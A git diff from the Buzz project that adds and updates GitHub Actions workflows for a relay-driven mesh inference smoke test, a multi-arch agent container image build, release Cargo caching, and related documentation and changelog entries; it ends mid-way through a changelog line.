Mesh Lifecycle +# Relay-driven mesh lifecycle smoke: membership → signed discovery notes → +# relay-derived allowlist → join → CPU inference over QUIC → stranger denied +# (relay membership rejection + no routed inference, with a differential +# trusted-inference health proof so a dead serve node can't fake a denial). +# Runs the full Buzz "shared compute" join story with three real mesh-llm +# node processes on one runner, using the Buzz relay as the control plane +# (no hand-carried invite tokens). Mirrors the shape mesh-llm's own CI uses +# for its two-node smokes (tiny CPU model, one runner, real QUIC mesh). + +on: + push: + branches: [main] + paths: + - 'crates/buzz-relay/examples/mesh_*.rs' + - 'crates/buzz-relay/Cargo.toml' + - 'crates/buzz-admin/**' + - 'crates/buzz-test-client/**' + - 'crates/buzz-ws-client/**' + - 'Cargo.lock' + - 'desktop/src-tauri/src/mesh_llm/**' + - 'scripts/ci-mesh-lifecycle-smoke.sh' + - 'scripts/start-relay-for-tests.sh' + - '.github/workflows/mesh-lifecycle.yml' + pull_request: + paths: + - 'crates/buzz-relay/examples/mesh_*.rs' + - 'crates/buzz-relay/Cargo.toml' + - 'crates/buzz-admin/**' + - 'crates/buzz-test-client/**' + - 'crates/buzz-ws-client/**' + - 'Cargo.lock' + - 'desktop/src-tauri/src/mesh_llm/**' + - 'scripts/ci-mesh-lifecycle-smoke.sh' + - 'scripts/start-relay-for-tests.sh' + - '.github/workflows/mesh-lifecycle.yml' + workflow_dispatch: + +concurrency: + group: mesh-lifecycle-${{ github.event_name == 'pull_request' && github.ref || github.sha }} + cancel-in-progress: ${{ github.event_name == 'pull_request' }} + +env: + CARGO_TERM_COLOR: always + +jobs: + lifecycle-smoke: + name: Relay-Driven Mesh Lifecycle Smoke + runs-on: ubuntu-24.04 + timeout-minutes: 45 + permissions: + contents: read + steps: + - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 + + - uses: cashapp/activate-hermit@cea9af7913204a965fd488637a8d1811bba2e616 # v1 + + - uses: Swatinem/rust-cache@e18b497796c12c097a38f9edb9d0641fb99eee32 # v2 + with: + save-if: ${{ github.event_name != 'pull_request' }} + + # The mesh-llm SDK downloads a signed native runtime (llama.cpp CPU + # build) on first init, and the serve node downloads the smoke model + # from HuggingFace on first run. Key on the lockfile so a mesh pin bump + # rolls the runtime cache; the model ref is stable. + - name: Restore mesh runtime + model caches + id: mesh-caches + uses: actions/cache/restore@caa296126883cff596d87d8935842f9db880ef25 # v5 + with: + path: | + ~/.cache/mesh-llm/native-runtimes + ~/.cache/huggingface/hub + key: mesh-lifecycle-${{ runner.os }}-smollm2-135m-${{ hashFiles('Cargo.lock') }} + restore-keys: | + mesh-lifecycle-${{ runner.os }}-smollm2-135m- + + - name: Start integration services + run: | + for attempt in 1 2 3; do + if docker compose up -d postgres redis minio minio-init; then + break + fi + if [ "$attempt" -eq 3 ]; then + echo "docker compose up failed after 3 attempts" >&2 + exit 1 + fi + echo "docker compose up failed (attempt $attempt), retrying in $((attempt * 5))s..." >&2 + sleep $((attempt * 5)) + done + + - name: Run relay-driven mesh lifecycle smoke + run: ./scripts/ci-mesh-lifecycle-smoke.sh 2>&1 | tee /tmp/mesh-lifecycle-harness.log + + - name: Save mesh runtime + model caches + if: github.ref == 'refs/heads/main' && steps.mesh-caches.outputs.cache-hit != 'true' + uses: actions/cache/save@caa296126883cff596d87d8935842f9db880ef25 # v5 + with: + path: | + ~/.cache/mesh-llm/native-runtimes + ~/.cache/huggingface/hub + key: mesh-lifecycle-${{ runner.os }}-smollm2-135m-${{ hashFiles('Cargo.lock') }} + + - name: Upload relay + harness logs + if: failure() + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 + with: + name: mesh-lifecycle-logs + path: | + /tmp/buzz-relay.log + /tmp/mesh-lifecycle-harness.log + if-no-files-found: ignore diff --git a/.github/workflows/prepare-desktop-release.yml b/.github/workflows/prepare-desktop-release.yml deleted file mode 100644 index 7cc480b93b..0000000000 --- a/.github/workflows/prepare-desktop-release.yml +++ /dev/null @@ -1,38 +0,0 @@ -name: Prepare Desktop Release - -on: - workflow_dispatch: - inputs: - version: - description: Semver to prepare (for example 0.5.1) - required: true - -env: - RELEASE_AUTOMATION_NAME: Carl - RELEASE_AUTOMATION_EMAIL: c7ebe626f000404285d3686e1dc74cc07cc60a9754a150041ba132e14bd3e2ec@buzz.block.builderlab.xyz - -jobs: - prepare: - if: github.repository == 'block/buzz' - runs-on: ubuntu-latest - permissions: - contents: read - steps: - - name: Create short-lived release preparer token - id: preparer - uses: actions/create-github-app-token@bcd2ba49218906704ab6c1aa796996da409d3eb1 # v3.2.0 - with: - client-id: ${{ vars.BUZZ_RELEASE_TAGGER_CLIENT_ID }} - private-key: ${{ secrets.BUZZ_RELEASE_TAGGER_PRIVATE_KEY }} - permission-contents: write - permission-pull-requests: write - - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 - with: - fetch-depth: 0 - token: ${{ steps.preparer.outputs.token }} - - uses: cashapp/activate-hermit@cea9af7913204a965fd488637a8d1811bba2e616 # v1 - - name: Prepare immutable candidate and open or update PR - env: - GH_TOKEN: ${{ steps.preparer.outputs.token }} - VERSION: ${{ inputs.version }} - run: scripts/prepare-desktop-release.sh "$VERSION" diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 07951ef81d..9da067b74e 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -36,7 +36,7 @@ jobs: exit 1 fi - - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6 + - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 with: fetch-depth: 0 persist-credentials: false @@ -64,7 +64,7 @@ jobs: env: VERSION: ${{ needs.setup.outputs.version }} steps: - - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6 + - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 with: ref: ${{ needs.setup.outputs.source_sha }} fetch-depth: 0 @@ -91,7 +91,7 @@ jobs: - name: Build sidecars run: | - cargo build --release -p buzz-acp -p buzz-agent -p buzz-dev-mcp -p git-credential-nostr -p buzz-cli + cargo build --release -p buzz-acp -p buzz-agent -p buzz-backend-kubernetes -p buzz-dev-mcp -p git-credential-nostr -p buzz-cli ./scripts/bundle-sidecars.sh # Mesh rev derived from Cargo.lock (no lockstep edit on dep bump); cache key tracks it. @@ -278,7 +278,7 @@ jobs: VERSION: ${{ needs.setup.outputs.version }} TARGET: x86_64-apple-darwin steps: - - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6 + - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 with: ref: ${{ needs.setup.outputs.source_sha }} fetch-depth: 0 @@ -308,7 +308,7 @@ jobs: - name: Build sidecars run: | - cargo build --release --target "$TARGET" -p buzz-acp -p buzz-agent -p buzz-dev-mcp -p git-credential-nostr -p buzz-cli + cargo build --release --target "$TARGET" -p buzz-acp -p buzz-agent -p buzz-backend-kubernetes -p buzz-dev-mcp -p git-credential-nostr -p buzz-cli ./scripts/bundle-sidecars.sh "$TARGET" - name: Build unsigned Tauri app @@ -495,7 +495,7 @@ jobs: apt-get update apt-get install -y --no-install-recommends gh - - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6 + - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 with: ref: ${{ needs.setup.outputs.source_sha }} fetch-depth: 0 @@ -563,7 +563,7 @@ jobs: - name: Build sidecars run: | - cargo build --release -p buzz-acp -p buzz-agent -p buzz-dev-mcp -p git-credential-nostr -p buzz-cli + cargo build --release -p buzz-acp -p buzz-agent -p buzz-backend-kubernetes -p buzz-dev-mcp -p git-credential-nostr -p buzz-cli ./scripts/bundle-sidecars.sh - name: Generate release config @@ -573,7 +573,7 @@ jobs: BUZZ_UPDATER_ENDPOINT: https://github.com/block/buzz/releases/download/buzz-desktop-latest/latest.json - name: Build Linux Tauri app - run: cd desktop && pnpm tauri build --verbose --ci --bundles deb,appimage --config src-tauri/tauri.release.conf.json + run: cd desktop && pnpm tauri build --verbose --ci --bundles deb,appimage --features mesh-llm --config src-tauri/tauri.release.conf.json env: BUZZ_UPDATER_PUBLIC_KEY: ${{ secrets.BUZZ_UPDATER_PUBLIC_KEY || secrets.SPROUT_UPDATER_PUBLIC_KEY }} BUZZ_UPDATER_ENDPOINT: https://github.com/block/buzz/releases/download/buzz-desktop-latest/latest.json @@ -666,7 +666,7 @@ jobs: VERSION: ${{ needs.setup.outputs.version }} TARGET: x86_64-pc-windows-msvc steps: - - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6 + - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 with: ref: ${{ needs.setup.outputs.source_sha }} fetch-depth: 0 @@ -795,7 +795,7 @@ jobs: VERSION: ${{ needs.setup.outputs.version }} GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} steps: - - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6 + - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 with: ref: ${{ needs.setup.outputs.source_sha }} fetch-depth: 0 @@ -948,5 +948,5 @@ jobs: run: gh release edit "desktop-v${VERSION}" --draft=false - name: Upload latest.json to rolling release last - if: ${{ env.already_published != 'true' && !contains(needs.setup.outputs.version, '-') }} + if: ${{ !contains(needs.setup.outputs.version, '-') }} run: gh release upload buzz-desktop-latest latest.json --clobber diff --git a/.github/workflows/signed-macos-canary.yml b/.github/workflows/signed-macos-canary.yml index fb0656028a..5957f4785d 100644 --- a/.github/workflows/signed-macos-canary.yml +++ b/.github/workflows/signed-macos-canary.yml @@ -34,16 +34,6 @@ jobs: - uses: cashapp/activate-hermit@cea9af7913204a965fd488637a8d1811bba2e616 # v1 - # Rust cache covering both the workspace sidecar build and the Tauri - # crate build. shared-key scoped to macos-canary-release so canary runs - # warm each other without colliding with CI's debug-profile keys. - - uses: Swatinem/rust-cache@e18b497796c12c097a38f9edb9d0641fb99eee32 # v2 - with: - workspaces: | - . - desktop/src-tauri - shared-key: macos-canary-release - - name: Get pnpm store directory id: pnpm-cache run: echo "STORE_PATH=$(pnpm store path --silent)" >> "$GITHUB_OUTPUT" @@ -78,6 +68,38 @@ jobs: cd desktop && node scripts/set-version-from-tag.mjs "$VERSION" cd src-tauri && cargo update --workspace + - name: Resolve native toolchain identity + id: native_toolchain + run: echo "id=$(scripts/desktop-native-toolchain-id.sh macos)" >> "$GITHUB_OUTPUT" + + # Compute this after cargo update so the key describes the graph that is + # actually compiled. The helper normalizes only Buzz Desktop's release + # version, allowing a canary to warm an otherwise identical tag build. + - name: Compute exact release cache key + id: rust_cache_key + env: + NATIVE_TOOLCHAIN_ID: ${{ steps.native_toolchain.outputs.id }} + run: | + KEY=$(scripts/desktop-release-cache-key.py \ + --platform "$RUNNER_OS" \ + --target aarch64-apple-darwin \ + --features mesh-llm \ + --native-inputs "$NATIVE_TOOLCHAIN_ID") + echo "key=$KEY" >> "$GITHUB_OUTPUT" + echo "Release cache key: $KEY" + + - name: Restore exact release Cargo cache + id: rust_cache + uses: actions/cache/restore@caa296126883cff596d87d8935842f9db880ef25 # v5 + with: + path: | + ~/.cargo/registry + ~/.cargo/git + target + desktop/src-tauri/target + !desktop/src-tauri/target/**/release/bundle + key: ${{ steps.rust_cache_key.outputs.key }} + - name: Generate non-updating bundle config run: | cat > desktop/src-tauri/tauri.canary.conf.json <<'JSON' @@ -93,7 +115,7 @@ jobs: - name: Build sidecars run: | - cargo build --release -p buzz-acp -p buzz-agent -p buzz-dev-mcp -p git-credential-nostr -p buzz-cli + cargo build --release -p buzz-acp -p buzz-agent -p buzz-backend-kubernetes -p buzz-dev-mcp -p git-credential-nostr -p buzz-cli ./scripts/bundle-sidecars.sh # Mesh rev derived from Cargo.lock (no lockstep edit on dep bump); cache key tracks it. @@ -210,6 +232,24 @@ jobs: if-no-files-found: error retention-days: 7 + - name: Measure release Cargo cache inputs + if: always() + run: du -sh ~/.cargo/registry ~/.cargo/git target desktop/src-tauri/target 2>/dev/null || true + + # Only this trusted, main-bound canary writes the cache. Excluding bundle + # output prevents installers or signed artifacts from entering it. + - name: Save exact release Cargo cache + if: steps.rust_cache.outputs.cache-hit != 'true' + uses: actions/cache/save@caa296126883cff596d87d8935842f9db880ef25 # v5 + with: + path: | + ~/.cargo/registry + ~/.cargo/git + target + desktop/src-tauri/target + !desktop/src-tauri/target/**/release/bundle + key: ${{ steps.rust_cache_key.outputs.key }} + - name: Save pnpm store cache uses: actions/cache/save@caa296126883cff596d87d8935842f9db880ef25 # v5 with: diff --git a/.github/workflows/sprig-image.yml b/.github/workflows/sprig-image.yml new file mode 100644 index 0000000000..d40aed2a22 --- /dev/null +++ b/.github/workflows/sprig-image.yml @@ -0,0 +1,238 @@ +name: Sprig image + +# Builds and publishes the public agent container image as +# ghcr.io//buzz-sprig (override with the GHCR_SPRIG_IMAGE repo +# variable) — the digest-pinned box the Kubernetes backend deploys agents into +# (see Dockerfile.sprig and docs/remote-agents.md). +# +# Strategy mirrors docker.yml (the relay image): each architecture builds on +# its native runner, pushes to GHCR by digest, then a merge job stitches the +# per-arch digests into one multi-arch manifest and attests provenance. +# No QEMU emulation. +# +# Triggers: +# - push to main (paths-filtered) → :main + :sha-<7> +# - tag sprig-v* → semver family (shared with sprig.yml's +# binary release — one tag versions both) +# - pull_request (paths-filtered) → build only, no push +# - workflow_dispatch → manual publish at the current ref +# +# NOTE: the first push creates the GHCR package PRIVATE by default. An org +# admin must flip that package to public once (Package settings → Change +# visibility). Subsequent pushes keep the visibility. + +on: + push: + branches: [main] + tags: ["sprig-v[0-9]*"] + paths: + - "Dockerfile.sprig" + - "scripts/sprig-entrypoint.sh" + - ".github/workflows/sprig-image.yml" + - "Cargo.toml" + - "Cargo.lock" + - "rust-toolchain.toml" + - "crates/**" + pull_request: + paths: + - "Dockerfile.sprig" + - "scripts/sprig-entrypoint.sh" + - ".github/workflows/sprig-image.yml" + workflow_dispatch: {} + +concurrency: + group: sprig-image-${{ github.ref }} + cancel-in-progress: ${{ github.ref_type == 'branch' && github.event_name == 'pull_request' }} + +permissions: {} + +env: + # Single source of truth for the image name; override with the + # GHCR_SPRIG_IMAGE repo variable (same pattern as docker.yml). Forks publish + # to their own GHCR namespace — nobody but block can push to block's. + IMAGE_NAME: ${{ vars.GHCR_SPRIG_IMAGE != '' && vars.GHCR_SPRIG_IMAGE || format('ghcr.io/{0}/buzz-sprig', github.repository_owner) }} + +jobs: + build: + name: Build (${{ matrix.platform }}) + runs-on: ${{ matrix.runner }} + timeout-minutes: 60 + permissions: + contents: read + packages: write + id-token: write + attestations: write + strategy: + fail-fast: false + matrix: + include: + - platform: linux/amd64 + runner: ubuntu-24.04 + arch: amd64 + - platform: linux/arm64 + runner: ubuntu-24.04-arm + arch: arm64 + + steps: + - name: Checkout + uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 + with: + persist-credentials: false + + - name: Set up Docker Buildx + uses: docker/setup-buildx-action@d7f5e7f509e45cec5c76c4d5afdd7de93d0b3df5 # v4.1.0 + with: + # Same OOM cap as docker.yml — Rust compiles blow the 7GB runner + # at buildkit's default parallelism of 4. + buildkitd-config-inline: | + [worker.oci] + max-parallelism = 2 + + - name: Log in to GHCR + # Pull requests are build-only and never receive registry credentials: + # in a fork, GITHUB_TOKEN is read-only even for a same-repo PR, so + # logging in there fails the job with `ghcr.io/v2/: denied`. + if: github.event_name != 'pull_request' + uses: docker/login-action@650006c6eb7dba73a995cc03b0b2d7f5ca915bee # v4.2.0 + with: + registry: ghcr.io + username: ${{ github.repository_owner }} + password: ${{ secrets.GITHUB_TOKEN }} + + - name: Extract metadata + id: meta + uses: docker/metadata-action@80c7e94dd9b9319bd5eb7a0e0fe9291e23a2a2e9 # v6.1.0 + with: + images: ${{ env.IMAGE_NAME }} + # match=^sprig-v(.*)$ strips the tag prefix for the semver parser, + # exactly as docker.yml does for relay-v. :latest comes from + # flavor.latest=auto — stable semver only, never main pushes. + tags: | + type=ref,event=branch + type=sha,prefix=sha-,format=short + type=semver,pattern={{version}},match=^sprig-v(.*)$ + type=semver,pattern={{major}}.{{minor}},match=^sprig-v(.*)$ + labels: | + org.opencontainers.image.title=Buzz Sprig + org.opencontainers.image.description=Agent runtime image for Buzz remote agents (buzz-acp multicall + git + curl) + org.opencontainers.image.licenses=Apache-2.0 + + - name: Build and push by digest + id: build + uses: docker/build-push-action@f9f3042f7e2789586610d6e8b85c8f03e5195baf # v7.2.0 + with: + context: . + file: ./Dockerfile.sprig + platforms: ${{ matrix.platform }} + labels: ${{ steps.meta.outputs.labels }} + outputs: type=image,name=${{ env.IMAGE_NAME }},push-by-digest=true,name-canonical=true,push=${{ github.event_name != 'pull_request' }} + cache-from: | + type=registry,ref=${{ env.IMAGE_NAME }}-buildcache:${{ matrix.arch }} + cache-to: | + ${{ github.event_name != 'pull_request' && format('type=registry,ref={0}-buildcache:{1},mode=max,compression=zstd', env.IMAGE_NAME, matrix.arch) || '' }} + + - name: Export digest + if: github.event_name != 'pull_request' + env: + DIGEST: ${{ steps.build.outputs.digest }} + run: | + mkdir -p /tmp/digests + touch "/tmp/digests/${DIGEST#sha256:}" + + - name: Upload digest + if: github.event_name != 'pull_request' + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 + with: + name: sprig-digest-${{ matrix.arch }} + path: /tmp/digests/* + if-no-files-found: error + retention-days: 1 + + merge: + name: Merge multi-arch manifest + if: github.event_name != 'pull_request' + runs-on: ubuntu-24.04 + needs: build + timeout-minutes: 15 + permissions: + contents: read + packages: write + id-token: write + attestations: write + + steps: + - name: Download per-arch digests + uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8.0.1 + with: + path: /tmp/digests + pattern: sprig-digest-* + merge-multiple: true + + - name: Set up Docker Buildx + uses: docker/setup-buildx-action@d7f5e7f509e45cec5c76c4d5afdd7de93d0b3df5 # v4.1.0 + + - name: Log in to GHCR + uses: docker/login-action@650006c6eb7dba73a995cc03b0b2d7f5ca915bee # v4.2.0 + with: + registry: ghcr.io + username: ${{ github.repository_owner }} + password: ${{ secrets.GITHUB_TOKEN }} + + - name: Extract metadata + id: meta + uses: docker/metadata-action@80c7e94dd9b9319bd5eb7a0e0fe9291e23a2a2e9 # v6.1.0 + with: + images: ${{ env.IMAGE_NAME }} + # Must mirror the build job's tag matrix exactly (see docker.yml). + flavor: | + latest=auto + tags: | + type=ref,event=branch + type=sha,prefix=sha-,format=short + type=semver,pattern={{version}},match=^sprig-v(.*)$ + type=semver,pattern={{major}}.{{minor}},match=^sprig-v(.*)$ + + - name: Create and push manifest list + id: manifest + working-directory: /tmp/digests + env: + IMAGE_NAME: ${{ env.IMAGE_NAME }} + META_TAGS: ${{ steps.meta.outputs.tags }} + run: | + set -euo pipefail + tags=() + while IFS= read -r tag; do + [ -n "$tag" ] && tags+=("-t" "$tag") + done <<< "$META_TAGS" + + digests=() + for digest in *; do + digests+=("${IMAGE_NAME}@sha256:${digest}") + done + + docker buildx imagetools create "${tags[@]}" "${digests[@]}" + + first_tag=$(echo "$META_TAGS" | head -n1) + merged_digest=$(docker buildx imagetools inspect "$first_tag" \ + --format '{{json .Manifest}}' | jq -r '.digest') + echo "digest=${merged_digest}" >> "$GITHUB_OUTPUT" + + - name: Attest provenance for the merged image + # Verify with: gh attestation verify oci://$IMAGE_NAME: --owner + uses: actions/attest-build-provenance@0f67c3f4856b2e3261c31976d6725780e5e4c373 # v4.1.1 + with: + subject-name: ${{ env.IMAGE_NAME }} + subject-digest: ${{ steps.manifest.outputs.digest }} + push-to-registry: true + + - name: Summary + env: + IMAGE_NAME: ${{ env.IMAGE_NAME }} + DIGEST: ${{ steps.manifest.outputs.digest }} + run: | + { + echo "### Sprig image published" + echo '```' + echo "${IMAGE_NAME}@${DIGEST}" + echo '```' + } >> "$GITHUB_STEP_SUMMARY" diff --git a/.github/workflows/sprig.yml b/.github/workflows/sprig.yml index d80e79d059..f89d5c4207 100644 --- a/.github/workflows/sprig.yml +++ b/.github/workflows/sprig.yml @@ -42,7 +42,7 @@ jobs: - x86_64-unknown-linux-musl - aarch64-unknown-linux-musl steps: - - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6 + - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 - uses: cashapp/activate-hermit@cea9af7913204a965fd488637a8d1811bba2e616 # v1 @@ -119,7 +119,7 @@ jobs: permissions: contents: write steps: - - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6 + - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 - name: Download all Sprig artifacts uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8.0.1 @@ -275,7 +275,7 @@ jobs: permissions: contents: write steps: - - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6 + - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 - name: Download all Sprig artifacts uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8.0.1 diff --git a/.github/workflows/windows-canary.yml b/.github/workflows/windows-canary.yml index 29f74fa0f6..7093efd2dc 100644 --- a/.github/workflows/windows-canary.yml +++ b/.github/workflows/windows-canary.yml @@ -46,24 +46,9 @@ jobs: shell: bash run: rustup target add "$TARGET" - # Rust cache covering both the workspace sidecar build and the Tauri - # crate build. shared-key scoped to windows-canary-release so canary - # runs warm each other without colliding with CI's debug-profile key - # (CI windows job does clippy/check, not --release). - - uses: Swatinem/rust-cache@e18b497796c12c097a38f9edb9d0641fb99eee32 # v2 - with: - workspaces: | - . - desktop/src-tauri - shared-key: windows-canary-release - - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0 with: node-version: 24.14.1 - # Disable setup-node's built-in cache: we manage the pnpm store cache - # explicitly below (restore before install, save after) to mirror the - # pattern used by ci.yml and to keep caching logic consistent across - # all three canary workflows. package-manager-cache: false - uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4.3.0 @@ -108,6 +93,40 @@ jobs: cd desktop && node scripts/set-version-from-tag.mjs "$VERSION" cd src-tauri && cargo update --workspace + - name: Resolve native toolchain identity + id: native_toolchain + shell: bash + run: echo "id=$(scripts/desktop-native-toolchain-id.sh windows)" >> "$GITHUB_OUTPUT" + + # Compute this after cargo update so the key describes the graph that is + # actually compiled. The helper normalizes only Buzz Desktop's release + # version, allowing a canary to warm an otherwise identical tag build. + - name: Compute exact release cache key + id: rust_cache_key + shell: bash + env: + NATIVE_TOOLCHAIN_ID: ${{ steps.native_toolchain.outputs.id }} + run: | + KEY=$(scripts/desktop-release-cache-key.py \ + --platform "$RUNNER_OS" \ + --target x86_64-pc-windows-msvc \ + --features default \ + --native-inputs "$NATIVE_TOOLCHAIN_ID") + echo "key=$KEY" >> "$GITHUB_OUTPUT" + echo "Release cache key: $KEY" + + - name: Restore exact release Cargo cache + id: rust_cache + uses: actions/cache/restore@caa296126883cff596d87d8935842f9db880ef25 # v5 + with: + path: | + ~/.cargo/registry + ~/.cargo/git + target + desktop/src-tauri/target + !desktop/src-tauri/target/**/release/bundle + key: ${{ steps.rust_cache_key.outputs.key }} + - name: Generate non-updating bundle config shell: bash run: | @@ -152,6 +171,25 @@ jobs: if-no-files-found: error retention-days: 7 + - name: Measure release Cargo cache inputs + if: always() + shell: bash + run: du -sh ~/.cargo/registry ~/.cargo/git target desktop/src-tauri/target 2>/dev/null || true + + # Only this trusted, main-bound canary writes the cache. Excluding bundle + # output prevents installers from entering it. + - name: Save exact release Cargo cache + if: steps.rust_cache.outputs.cache-hit != 'true' + uses: actions/cache/save@caa296126883cff596d87d8935842f9db880ef25 # v5 + with: + path: | + ~/.cargo/registry + ~/.cargo/git + target + desktop/src-tauri/target + !desktop/src-tauri/target/**/release/bundle + key: ${{ steps.rust_cache_key.outputs.key }} + - name: Save pnpm store cache uses: actions/cache/save@caa296126883cff596d87d8935842f9db880ef25 # v5 with: diff --git a/.gitignore b/.gitignore index 65ddcaf1c4..f26e74136c 100644 --- a/.gitignore +++ b/.gitignore @@ -3,6 +3,10 @@ /dist/ /admin-web/dist/ +# Python cache +__pycache__/ +*.pyc + # lefthook-generated hook scripts (machine-specific) .hooks/ diff --git a/.release/desktop-candidate.json b/.release/desktop-candidate.json new file mode 100644 index 0000000000..cc2c267019 --- /dev/null +++ b/.release/desktop-candidate.json @@ -0,0 +1,8 @@ +{ + "schema": 1, + "version": "0.5.5", + "base_sha": "25a9cf1be6d245fbd7373cb1160dbc790baf5bd5", + "previous_tag": "desktop-v0.5.4", + "tag": "desktop-v0.5.5", + "commit_count": 44 +} diff --git a/AGENTS.md b/AGENTS.md index 7ff0eb4d47..571871c3a4 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -13,14 +13,14 @@ Buzz spans five repos. This one (`block/buzz`) is the OSS source for the relay, | Repo | Purpose | |------|---------| | [block/buzz](https://github.com/block/buzz) | OSS source — relay, desktop app, mobile app, CLI, agent harness | -| [squareup/sprout-releases](https://github.com/squareup/sprout-releases) | Buildkite pipeline producing Block-signed macOS + iOS builds with `-block` version suffix | +| [squareup/buzz-releases](https://github.com/squareup/buzz-releases) | Buildkite pipelines producing Block-signed macOS + iOS builds with `-block` desktop version suffix | | [squareup/sprout-oss](https://github.com/squareup/sprout-oss) | CI pipeline building the relay Docker image and pushing to internal ECR | | [squareup/block-coder-tf-stacks](https://github.com/squareup/block-coder-tf-stacks) | Terraform + ArgoCD deploying the relay to the staging Kubernetes cluster | | [squareup/sprout-backend-blox](https://github.com/squareup/sprout-backend-blox) | Desktop backend provider script connecting Blox workstation agents to the relay | ``` block/buzz (source) - ├─► sprout-releases (desktop + mobile builds → Artifactory, GitHub, Mobile Releases) + ├─► buzz-releases (desktop + mobile builds → Artifactory, GitHub, Mobile Releases) ├─► sprout-oss (relay Docker image → ECR) │ └─► block-coder-tf-stacks (Helm chart → ArgoCD → staging cluster) └─── sprout-backend-blox (Blox compute provider for Desktop agent launch) @@ -145,6 +145,10 @@ first, then implement handling in the relay. **Channel scoping**: Channels use `h` tags (NIP-29 group tag), not `e` tags. Filters and queries must scope to `h` tags when operating within a channel. +This applies to events *inside* a channel. Addressable events that describe a +channel carry its id in their `d` tag instead: kind:39000 (metadata), +kind:39001, kind:39002 (membership). `get_channels` resolves a user's channels +from the `d` tag of their kind:39002 events, not from `h`. **Agent-facing operations go in `buzz-cli`**: New agent-facing features belong in `buzz-cli` — add a subcommand there first, then wire the REST/WebSocket call in `client.rs`. `buzz-dev-mcp` (shell + file tools for `buzz-agent`) is separate. @@ -503,6 +507,7 @@ reconnects preserve pending avatar verification work): - `resetRenderScopedReactionHydration()` — reaction hydration cache - `clearSearchHitEventCache()` — search result event cache - `clearMarkdownNodeCache()` — markdown parse-node cache +- `resetLinkPreviewTitleCache()` — link preview title cache (Buzz entity titles come from relay events) **If you add a new module-level cache, Map, or class instance that holds community-scoped data, you must add its reset to `resetCommunityState()`.** diff --git a/ARCHITECTURE.md b/ARCHITECTURE.md index 5c8e263a2a..892082d96c 100644 --- a/ARCHITECTURE.md +++ b/ARCHITECTURE.md @@ -139,7 +139,7 @@ The `kind` integer is the only dispatch switch. The relay routes, stores, and fa | 46001–46012 | KIND_WORKFLOW_* | Workflow execution events | | 20001 | KIND_PRESENCE_UPDATE | Ephemeral presence heartbeat | -`buzz-core` defines all 81 kinds as `pub const KIND_*: u32` and exports `ALL_KINDS: &[u32]`. Kinds are `u32` (NIP-01 specifies unsigned integer; `u32` covers the full range). Buzz uses both standard Nostr kinds (e.g., kind 7 for reactions) and custom ranges (40000+). +`buzz-core` defines each event kind as a `pub const u32` and exports the full registry as `ALL_KINDS: &[u32]` (127 kinds at the time of writing); `crates/buzz-core/src/kind.rs` is the source of truth for the current list. Kinds are `u32` (NIP-01 specifies unsigned integer; `u32` covers the full range). Buzz uses both standard Nostr kinds (e.g., kind 7 for reactions) and custom ranges (40000+). Note: `KIND_AUTH` (22242) is `pub const KIND_AUTH: u32` in `buzz-core/src/kind.rs` and imported by `buzz-relay/src/handlers/event.rs`. `KIND_CANVAS` (40100) is likewise `pub const KIND_CANVAS: u32` in `buzz-core/src/kind.rs`. diff --git a/CHANGELOG.md b/CHANGELOG.md index d83087fc26..171f260d3e 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,5 +1,177 @@ # Changelog +## v0.5.5 + +### Desktop and shared changes + +- feat: paste composer text without formatting ([#4801](https://github.com/block/buzz/pull/4801)) ([`25a9cf1be6d245fbd7373cb1160dbc790baf5bd5`](https://github.com/block/buzz/commit/25a9cf1be6d245fbd7373cb1160dbc790baf5bd5)) +- Revert "chore(release): release Buzz Desktop version 0.5.5" ([#4808](https://github.com/block/buzz/pull/4808)) ([`79c52166cfe6b6d36bdc7686f943595c74e2f578`](https://github.com/block/buzz/commit/79c52166cfe6b6d36bdc7686f943595c74e2f578)) +- chore(release): release Buzz Desktop version 0.5.5 ([#4800](https://github.com/block/buzz/pull/4800)) ([`a0ed13de14ee64dd90c32335790f7d3b4e94330d`](https://github.com/block/buzz/commit/a0ed13de14ee64dd90c32335790f7d3b4e94330d)) +- fix: reauthenticate databricks model discovery ([#4008](https://github.com/block/buzz/pull/4008)) 